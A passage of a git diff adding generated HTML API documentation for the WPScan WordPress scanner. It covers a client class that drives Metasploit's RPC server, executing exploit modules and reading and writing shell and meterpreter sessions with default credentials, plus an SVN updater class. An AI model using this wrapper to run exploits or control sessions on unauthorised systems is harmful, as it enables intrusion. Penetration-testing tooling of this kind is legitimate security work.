+  <span class="ruby-ivar">@config</span>[<span class="ruby-string">'path'</span>] = <span class="ruby-string">&quot;/RPC2&quot;</span>
+  <span class="ruby-ivar">@config</span>[<span class="ruby-string">'port'</span>] = <span class="ruby-value">55553</span>
+  <span class="ruby-ivar">@config</span>[<span class="ruby-string">'user'</span>] = <span class="ruby-string">&quot;wpscan&quot;</span>
+  <span class="ruby-ivar">@config</span>[<span class="ruby-string">'pass'</span>] = <span class="ruby-string">&quot;wpscan&quot;</span>
+  <span class="ruby-ivar">@auth_token</span> = <span class="ruby-keyword">nil</span>
+  <span class="ruby-ivar">@last_auth</span> = <span class="ruby-keyword">nil</span>
+
+  <span class="ruby-keyword">begin</span>
+     <span class="ruby-ivar">@server</span> = <span class="ruby-constant">XMLRPC</span><span class="ruby-operator">::</span><span class="ruby-constant">Client</span>.<span class="ruby-identifier">new3</span>( <span class="ruby-value">:host</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-ivar">@config</span>[<span class="ruby-string">&quot;host&quot;</span>], <span class="ruby-value">:path</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-ivar">@config</span>[<span class="ruby-string">&quot;path&quot;</span>], <span class="ruby-value">:port</span> =<span class="ruby-operator">&gt;</span>  <span class="ruby-ivar">@config</span>[<span class="ruby-string">&quot;port&quot;</span>], <span class="ruby-value">:user</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-ivar">@config</span>[<span class="ruby-string">&quot;user&quot;</span>], <span class="ruby-value">:password</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-ivar">@config</span>[<span class="ruby-string">&quot;pass&quot;</span>])
+  <span class="ruby-keyword">rescue</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">e</span>
+    <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;[ERROR] Could not create XMLRPC object.&quot;</span>
+    <span class="ruby-identifier">puts</span> <span class="ruby-identifier">e</span>.<span class="ruby-identifier">faultCode</span>
+    <span class="ruby-identifier">puts</span> <span class="ruby-identifier">e</span>.<span class="ruby-identifier">faultString</span>
+  <span class="ruby-keyword">end</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- new-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- new-method -->
+
+      
+      </div><!-- public-class-method-details -->
+    
+      <div id="public-instance-method-details" class="method-section section">
+        <h3 class="section-header">Public Instance Methods</h3>
+
+      
+        <div id="authenticate-method" class="method-detail ">
+          <a name="method-i-authenticate"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">authenticate</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>check authentication</p>
+            
+
+            
+            <div class="method-source-code" id="authenticate-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/msfrpc_client.rb, line 65</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">authenticate</span>()
+  <span class="ruby-identifier">login</span>() <span class="ruby-keyword">if</span> <span class="ruby-ivar">@auth_token</span>.<span class="ruby-identifier">nil?</span>
+  <span class="ruby-identifier">login</span>() <span class="ruby-keyword">if</span> (<span class="ruby-constant">Time</span>.<span class="ruby-identifier">now</span> <span class="ruby-operator">-</span> <span class="ruby-ivar">@last_auth</span> <span class="ruby-operator">&gt;</span> <span class="ruby-value">600</span>)
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- authenticate-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- authenticate-method -->
+
+      
+        <div id="exploit-method" class="method-detail ">
+          <a name="method-i-exploit"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">exploit</span><span
+              class="method-args">(name, opts)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>execute exploit</p>
+            
+
+            
+            <div class="method-source-code" id="exploit-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/msfrpc_client.rb, line 93</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">exploit</span>(<span class="ruby-identifier">name</span>, <span class="ruby-identifier">opts</span>)
+  <span class="ruby-identifier">authenticate</span>()
+  <span class="ruby-ivar">@server</span>.<span class="ruby-identifier">call</span>(<span class="ruby-string">'module.execute'</span>, <span class="ruby-ivar">@auth_token</span>, <span class="ruby-string">'exploit'</span>, <span class="ruby-identifier">name</span>, <span class="ruby-identifier">opts</span>)
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- exploit-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- exploit-method -->
+
+      
+        <div id="get_exploit_info-method" class="method-detail ">
+          <a name="method-i-get_exploit_info"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">get_exploit_info</span><span
+              class="method-args">(name)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>retrieve information about the exploit</p>
+            
+
+            
+            <div class="method-source-code" id="get_exploit_info-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/msfrpc_client.rb, line 72</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">get_exploit_info</span>(<span class="ruby-identifier">name</span>)
+  <span class="ruby-identifier">authenticate</span>()
+  <span class="ruby-ivar">@server</span>.<span class="ruby-identifier">call</span>(<span class="ruby-string">'module.info'</span>, <span class="ruby-ivar">@auth_token</span>, <span class="ruby-string">'exploit'</span>, <span class="ruby-identifier">name</span>)
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- get_exploit_info-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- get_exploit_info-method -->
+
+      
+        <div id="get_options-method" class="method-detail ">
+          <a name="method-i-get_options"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">get_options</span><span
+              class="method-args">(name)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>retrieve exploit options</p>
+            
+
+            
+            <div class="method-source-code" id="get_options-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/msfrpc_client.rb, line 79</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">get_options</span>(<span class="ruby-identifier">name</span>)
+  <span class="ruby-identifier">authenticate</span>()
+  <span class="ruby-ivar">@server</span>.<span class="ruby-identifier">call</span>(<span class="ruby-string">'module.options'</span>, <span class="ruby-ivar">@auth_token</span>, <span class="ruby-string">'exploit'</span>,<span class="ruby-identifier">name</span>)
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- get_options-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- get_options-method -->
+
+      
+        <div id="get_payloads-method" class="method-detail ">
+          <a name="method-i-get_payloads"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">get_payloads</span><span
+              class="method-args">(name)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>retrieve the exploit payloads</p>
+            
+
+            
+            <div class="method-source-code" id="get_payloads-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/msfrpc_client.rb, line 86</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">get_payloads</span>(<span class="ruby-identifier">name</span>)
+  <span class="ruby-identifier">authenticate</span>()
+  <span class="ruby-ivar">@server</span>.<span class="ruby-identifier">call</span>(<span class="ruby-string">'module.compatible_payloads'</span>, <span class="ruby-ivar">@auth_token</span>, <span class="ruby-identifier">name</span>)
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- get_payloads-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- get_payloads-method -->
+
+      
+        <div id="jobs-method" class="method-detail ">
+          <a name="method-i-jobs"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">jobs</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>list msf jobs</p>
+            
+
+            
+            <div class="method-source-code" id="jobs-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/msfrpc_client.rb, line 100</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">jobs</span>()
+  <span class="ruby-identifier">authenticate</span>()
+  <span class="ruby-ivar">@server</span>.<span class="ruby-identifier">call</span>(<span class="ruby-string">'job.list'</span>, <span class="ruby-ivar">@auth_token</span>)
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- jobs-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- jobs-method -->
+
+      
+        <div id="kill_session-method" class="method-detail ">
+          <a name="method-i-kill_session"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">kill_session</span><span
+              class="method-args">(id)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>kill msf session</p>
+            
+
+            
+            <div class="method-source-code" id="kill_session-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/msfrpc_client.rb, line 114</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">kill_session</span>(<span class="ruby-identifier">id</span>)
+  <span class="ruby-identifier">authenticate</span>()
+  <span class="ruby-ivar">@server</span>.<span class="ruby-identifier">call</span>(<span class="ruby-string">'session.stop'</span>, <span class="ruby-ivar">@auth_token</span>, <span class="ruby-identifier">id</span>)
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- kill_session-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- kill_session-method -->
+
+      
+        <div id="login-method" class="method-detail ">
+          <a name="method-i-login"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">login</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>login to msfrpcd</p>
+            
+
+            
+            <div class="method-source-code" id="login-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/msfrpc_client.rb, line 49</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">login</span>()
+  <span class="ruby-identifier">result</span> = <span class="ruby-ivar">@server</span>.<span class="ruby-identifier">call</span>(<span class="ruby-string">&quot;auth.login&quot;</span>, <span class="ruby-ivar">@config</span>[<span class="ruby-string">'user'</span>], <span class="ruby-ivar">@config</span>[<span class="ruby-string">'pass'</span>])
+
+  <span class="ruby-keyword">if</span> <span class="ruby-identifier">result</span>[<span class="ruby-string">'result'</span>] <span class="ruby-operator">==</span> <span class="ruby-string">&quot;success&quot;</span>
+    <span class="ruby-ivar">@auth_token</span> = <span class="ruby-identifier">result</span>[<span class="ruby-string">'token'</span>]
+    <span class="ruby-ivar">@last_auth</span> = <span class="ruby-constant">Time</span>.<span class="ruby-identifier">new</span>
+    <span class="ruby-identifier">logged_in</span> = <span class="ruby-keyword">true</span>
+  <span class="ruby-keyword">else</span>
+    <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;[ERROR] Invalid login credentials provided to msfrpcd.&quot;</span>
+    <span class="ruby-identifier">logged_in</span> = <span class="ruby-keyword">false</span>
+  <span class="ruby-keyword">end</span>
+ 
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- login-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- login-method -->
+
+      
+        <div id="meterpreter_read-method" class="method-detail ">
+          <a name="method-i-meterpreter_read"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">meterpreter_read</span><span
+              class="method-args">(id)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="meterpreter_read-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/msfrpc_client.rb, line 133</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">meterpreter_read</span>(<span class="ruby-identifier">id</span>)
+  <span class="ruby-identifier">authenticate</span>()
+  <span class="ruby-ivar">@server</span>.<span class="ruby-identifier">call</span>(<span class="ruby-string">'session.meterpreter_read'</span>, <span class="ruby-ivar">@auth_token</span>, <span class="ruby-identifier">id</span>)
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- meterpreter_read-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- meterpreter_read-method -->
+
+      
+        <div id="meterpreter_write-method" class="method-detail ">
+          <a name="method-i-meterpreter_write"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">meterpreter_write</span><span
+              class="method-args">(id, data)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="meterpreter_write-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/msfrpc_client.rb, line 138</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">meterpreter_write</span>(<span class="ruby-identifier">id</span>, <span class="ruby-identifier">data</span>)
+  <span class="ruby-identifier">authenticate</span>()
+  <span class="ruby-ivar">@server</span>.<span class="ruby-identifier">call</span>(<span class="ruby-string">'session.meterpreter_write'</span>, <span class="ruby-ivar">@auth_token</span>, <span class="ruby-identifier">id</span>, <span class="ruby-identifier">data</span>)
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- meterpreter_write-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- meterpreter_write-method -->
+
+      
+        <div id="read_shell-method" class="method-detail ">
+          <a name="method-i-read_shell"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">read_shell</span><span
+              class="method-args">(id)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>reads any pending output from session</p>
+            
+
+            
+            <div class="method-source-code" id="read_shell-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/msfrpc_client.rb, line 121</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">read_shell</span>(<span class="ruby-identifier">id</span>)
+  <span class="ruby-identifier">authenticate</span>()
+  <span class="ruby-ivar">@server</span>.<span class="ruby-identifier">call</span>(<span class="ruby-string">'session.shell_read'</span>, <span class="ruby-ivar">@auth_token</span>, <span class="ruby-identifier">id</span>)
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- read_shell-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- read_shell-method -->
+
+      
+        <div id="sessions-method" class="method-detail ">
+          <a name="method-i-sessions"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">sessions</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>list msf sessions</p>
+            
+
+            
+            <div class="method-source-code" id="sessions-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/msfrpc_client.rb, line 107</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">sessions</span>()
+  <span class="ruby-identifier">authenticate</span>()
+  <span class="ruby-ivar">@server</span>.<span class="ruby-identifier">call</span>(<span class="ruby-string">'session.list'</span>, <span class="ruby-ivar">@auth_token</span>)
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- sessions-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- sessions-method -->
+
+      
+        <div id="write_shell-method" class="method-detail ">
+          <a name="method-i-write_shell"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">write_shell</span><span
+              class="method-args">(id, data)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>writes the specified input into the session</p>
+            
+
+            
+            <div class="method-source-code" id="write_shell-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/msfrpc_client.rb, line 128</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">write_shell</span>(<span class="ruby-identifier">id</span>, <span class="ruby-identifier">data</span>)
+  <span class="ruby-identifier">authenticate</span>()
+  <span class="ruby-ivar">@server</span>.<span class="ruby-identifier">call</span>(<span class="ruby-string">'session.shell_write'</span>, <span class="ruby-ivar">@auth_token</span>, <span class="ruby-identifier">id</span>, <span class="ruby-identifier">data</span>)
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- write_shell-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- write_shell-method -->
+
+      
+      </div><!-- public-instance-method-details -->
+    
+    </div><!-- 5Buntitled-5D -->
+  
+
+  </div><!-- documentation -->
+
+  <div id="validator-badges">
+    <p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
+    <p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
+      Rdoc Generator</a> 2</small>.</p>
+  </div>
+
+</body>
+</html>
+
diff --git a/doc/SvnUpdater.html b/doc/SvnUpdater.html
new file mode 100644
index 00000000..be911f42
--- /dev/null
+++ b/doc/SvnUpdater.html
@@ -0,0 +1,349 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>Class: SvnUpdater</title>
+
+  <link rel="stylesheet" href="./rdoc.css" type="text/css" media="screen" />
+
+  <script src="./js/jquery.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/thickbox-compressed.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/quicksearch.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/darkfish.js" type="text/javascript" charset="utf-8"></script>
+
+</head>
+<body id="top" class="class">
+
+  <div id="metadata">
+    <div id="home-metadata">
+      <div id="home-section" class="section">
+        <h3 class="section-header">
+          <a href="./index.html">Home</a>
+          <a href="./index.html#classes">Classes</a>
+          <a href="./index.html#methods">Methods</a>
+        </h3>
+      </div>
+    </div>
+
+    <div id="file-metadata">
+      <div id="file-list-section" class="section">
+        <h3 class="section-header">In Files</h3>
+        <div class="section-body">
+          <ul>
+          
+            <li><a href="./lib/updater/svn_updater_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
+              class="thickbox" title="lib/updater/svn_updater.rb">lib/updater/svn_updater.rb</a></li>
+          
+          </ul>
+        </div>
+      </div>
+
+      
+    </div>
+
+    <div id="class-metadata">
+      
+      <!-- Parent Class -->
+      <div id="parent-class-section" class="section">
+        <h3 class="section-header">Parent</h3>
+        
+        <p class="link"><a href="Updater.html">Updater</a></p>
+        
+      </div>
+      
+
+      
+
+      
+
+      
+      <!-- Method Quickref -->
+      <div id="method-list-section" class="section">
+        <h3 class="section-header">Methods</h3>
+        <ul class="link-list">
+          
+          <li><a href="#method-i-is_installed-3F">#is_installed?</a></li>
+          
+          <li><a href="#method-i-local_revision_number">#local_revision_number</a></li>
+          
+          <li><a href="#method-i-update">#update</a></li>
+          
+        </ul>
+      </div>
+      
+
+      
+    </div>
+
+    <div id="project-metadata">
+      
+      
+      <div id="fileindex-section" class="section project-section">
+        <h3 class="section-header">Files</h3>
+        <ul>
+        
+          <li class="file"><a href="./CREDITS.html">CREDITS</a></li>
+        
+          <li class="file"><a href="./Gemfile.html">Gemfile</a></li>
+        
+          <li class="file"><a href="./README.html">README</a></li>
+        
+        </ul>
+      </div>
+      
+
+      <div id="classindex-section" class="section project-section">
+        <h3 class="section-header">Class/Module Index
+          <span class="search-toggle"><img src="./images/find.png"
+            height="16" width="16" alt="[+]"
+            title="show/hide quicksearch" /></span></h3>
+        <form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
+        <fieldset>
+          <legend>Quicksearch</legend>
+          <input type="text" name="quicksearch" value=""
+            class="quicksearch-field" />
+        </fieldset>
+        </form>
+
+        <ul class="link-list">
+        
+          <li><a href="./Array.html">Array</a></li>
+        
+          <li><a href="./Browser.html">Browser</a></li>
+        
+          <li><a href="./BruteForce.html">BruteForce</a></li>
+        
+          <li><a href="./CacheFileStore.html">CacheFileStore</a></li>
+        
+          <li><a href="./Exploit.html">Exploit</a></li>
+        
+          <li><a href="./Generate_List.html">Generate_List</a></li>
+        
+          <li><a href="./GitUpdater.html">GitUpdater</a></li>
+        
+          <li><a href="./Malwares.html">Malwares</a></li>
+        
+          <li><a href="./Object.html">Object</a></li>
+        
+          <li><a href="./RpcClient.html">RpcClient</a></li>
+        
+          <li><a href="./SvnUpdater.html">SvnUpdater</a></li>
+        
+          <li><a href="./Svn_Parser.html">Svn_Parser</a></li>
+        
+          <li><a href="./Updater.html">Updater</a></li>
+        
+          <li><a href="./UpdaterFactory.html">UpdaterFactory</a></li>
+        
+          <li><a href="./Vulnerable.html">Vulnerable</a></li>
+        
+          <li><a href="./WebSite.html">WebSite</a></li>
+        
+          <li><a href="./WpConfigBackup.html">WpConfigBackup</a></li>
+        
+          <li><a href="./WpDetector.html">WpDetector</a></li>
+        
+          <li><a href="./WpEnumerator.html">WpEnumerator</a></li>
+        
+          <li><a href="./WpFullPathDisclosure.html">WpFullPathDisclosure</a></li>
+        
+          <li><a href="./WpItem.html">WpItem</a></li>
+        
+          <li><a href="./WpLoginProtection.html">WpLoginProtection</a></li>
+        
+          <li><a href="./WpOptions.html">WpOptions</a></li>
+        
+          <li><a href="./WpPlugin.html">WpPlugin</a></li>
+        
+          <li><a href="./WpPlugins.html">WpPlugins</a></li>
+        
+          <li><a href="./WpReadme.html">WpReadme</a></li>
+        
+          <li><a href="./WpTarget.html">WpTarget</a></li>
+        
+          <li><a href="./WpTheme.html">WpTheme</a></li>
+        
+          <li><a href="./WpThemes.html">WpThemes</a></li>
+        
+          <li><a href="./WpTimthumbs.html">WpTimthumbs</a></li>
+        
+          <li><a href="./WpUser.html">WpUser</a></li>
+        
+          <li><a href="./WpUsernames.html">WpUsernames</a></li>
+        
+          <li><a href="./WpVersion.html">WpVersion</a></li>
+        
+          <li><a href="./WpVulnerability.html">WpVulnerability</a></li>
+        
+          <li><a href="./WpscanOptions.html">WpscanOptions</a></li>
+        
+        </ul>
+        <div id="no-class-search-results" style="display: none;">No matching classes.</div>
+      </div>
+
+      
+    </div>
+  </div>
+
+  <div id="documentation">
+    <h1 class="class">SvnUpdater</h1>
+
+    <div id="description" class="description">
+      
+    </div><!-- description -->
+
+    
+    
+    
+    <div id="5Buntitled-5D" class="documentation-section">
+      
+
+      
+
+      
+      <!-- Constants -->
+      <div id="constants-list" class="section">
+        <h3 class="section-header">Constants</h3>
+        <dl>
+        
+          <dt><a name="REVISION_PATTERN">REVISION_PATTERN</a></dt>
+          
+          <dd class="description"></dd>
+          
+        
+          <dt><a name="TRUNK_URL">TRUNK_URL</a></dt>
+          
+          <dd class="description"></dd>
+          
+        
+        </dl>
+      </div>
+      
+
+      
+
+      <!-- Methods -->
+      
+      <div id="public-instance-method-details" class="method-section section">
+        <h3 class="section-header">Public Instance Methods</h3>
+
+      
+        <div id="is_installed-3F-method" class="method-detail ">
+          <a name="method-i-is_installed-3F"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">is_installed?</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="is_installed-3F-source">
+<pre>
+<span class="ruby-comment"># File lib/updater/svn_updater.rb, line 26</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">is_installed?</span>
+  <span class="ruby-node">%[svn info &quot;#@repo_directory&quot; --xml 2&gt;&amp;1]</span> <span class="ruby-operator">=~</span> <span class="ruby-regexp">/revision=/</span> <span class="ruby-operator">?</span> <span class="ruby-keyword">true</span> <span class="ruby-operator">:</span> <span class="ruby-keyword">false</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- is_installed-3F-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- is_installed-3F-method -->
+
+      
+        <div id="local_revision_number-method" class="method-detail ">
+          <a name="method-i-local_revision_number"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">local_revision_number</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="local_revision_number-source">
+<pre>
+<span class="ruby-comment"># File lib/updater/svn_updater.rb, line 30</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">local_revision_number</span>
+  <span class="ruby-identifier">local_revision</span> = <span class="ruby-node">%[svn info &quot;#@repo_directory&quot; --xml 2&gt;&amp;1]</span>
+  <span class="ruby-identifier">local_revision</span>[<span class="ruby-constant">REVISION_PATTERN</span>, <span class="ruby-value">1</span>].<span class="ruby-identifier">to_s</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- local_revision_number-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- local_revision_number-method -->
+
+      
+        <div id="update-method" class="method-detail ">
+          <a name="method-i-update"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">update</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="update-source">
+<pre>
+<span class="ruby-comment"># File lib/updater/svn_updater.rb, line 35</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">update</span>
+  <span class="ruby-node">%[svn up &quot;#@repo_directory&quot;]</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- update-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- update-method -->
+
+      
+      </div><!-- public-instance-method-details -->
+    
+    </div><!-- 5Buntitled-5D -->
+  
+
+  </div><!-- documentation -->
+
+  <div id="validator-badges">
+    <p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
+    <p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
+      Rdoc Generator</a> 2</small>.</p>
+  </div>
+
+</body>
+</html>
+
diff --git a/doc/Svn_Parser.html b/doc/Svn_Parser.html
new file mode 100644
index 00000000..42dfdb12
--- /dev/null
+++ b/doc/Svn_Parser.html
@@ -0,0 +1,369 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>Class: Svn_Parser</title>
+
+  <link rel="stylesheet" href="./rdoc.css" type="text/css" media="screen" />
+
+  <script src="./js/jquery.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/thickbox-compressed.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/quicksearch.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/darkfish.js" type="text/javascript" charset="utf-8"></script>
+
+</head>
+<body id="top" class="class">
+
+  <div id="metadata">
+    <div id="home-metadata">
+      <div id="home-section" class="section">
+        <h3 class="section-header">
+          <a href="./index.html">Home</a>
+          <a href="./index.html#classes">Classes</a>
+          <a href="./index.html#methods">Methods</a>
+        </h3>
+      </div>
+    </div>
+
+    <div id="file-metadata">
+      <div id="file-list-section" class="section">
+        <h3 class="section-header">In Files</h3>
+        <div class="section-body">
+          <ul>
+          
+            <li><a href="./lib/wpstools/parse_svn_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
+              class="thickbox" title="lib/wpstools/parse_svn.rb">lib/wpstools/parse_svn.rb</a></li>
+          
+          </ul>
+        </div>
+      </div>
+
+      
+    </div>
+
+    <div id="class-metadata">
+      
+      <!-- Parent Class -->
+      <div id="parent-class-section" class="section">
+        <h3 class="section-header">Parent</h3>
+        
+        <p class="link"><a href="Object.html">Object</a></p>
+        
+      </div>
+      
+
+      
+
+      
+
+      
+      <!-- Method Quickref -->
+      <div id="method-list-section" class="section">
+        <h3 class="section-header">Methods</h3>
+        <ul class="link-list">
+          
+          <li><a href="#method-c-new">::new</a></li>
+          
+          <li><a href="#method-i-parse">#parse</a></li>
+          
+        </ul>
+      </div>
+      
+
+      
+    </div>
+
+    <div id="project-metadata">
+      
+      
+      <div id="fileindex-section" class="section project-section">
+        <h3 class="section-header">Files</h3>
+        <ul>
+        
+          <li class="file"><a href="./CREDITS.html">CREDITS</a></li>
+        
+          <li class="file"><a href="./Gemfile.html">Gemfile</a></li>
+        
+          <li class="file"><a href="./README.html">README</a></li>
+        
+        </ul>
+      </div>
+      
+
+      <div id="classindex-section" class="section project-section">
+        <h3 class="section-header">Class/Module Index
+          <span class="search-toggle"><img src="./images/find.png"
+            height="16" width="16" alt="[+]"
+            title="show/hide quicksearch" /></span></h3>
+        <form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
+        <fieldset>
+          <legend>Quicksearch</legend>
+          <input type="text" name="quicksearch" value=""
+            class="quicksearch-field" />
+        </fieldset>
+        </form>
+
+        <ul class="link-list">
+        
+          <li><a href="./Array.html">Array</a></li>
+        
+          <li><a href="./Browser.html">Browser</a></li>
+        
+          <li><a href="./BruteForce.html">BruteForce</a></li>
+        
+          <li><a href="./CacheFileStore.html">CacheFileStore</a></li>
+        
+          <li><a href="./Exploit.html">Exploit</a></li>
+        
+          <li><a href="./Generate_List.html">Generate_List</a></li>
+        
+          <li><a href="./GitUpdater.html">GitUpdater</a></li>
+        
+          <li><a href="./Malwares.html">Malwares</a></li>
+        
+          <li><a href="./Object.html">Object</a></li>
+        
+          <li><a href="./RpcClient.html">RpcClient</a></li>
+        
+          <li><a href="./SvnUpdater.html">SvnUpdater</a></li>
+        
+          <li><a href="./Svn_Parser.html">Svn_Parser</a></li>
+        
+          <li><a href="./Updater.html">Updater</a></li>
+        
+          <li><a href="./UpdaterFactory.html">UpdaterFactory</a></li>
+        
+          <li><a href="./Vulnerable.html">Vulnerable</a></li>
+        
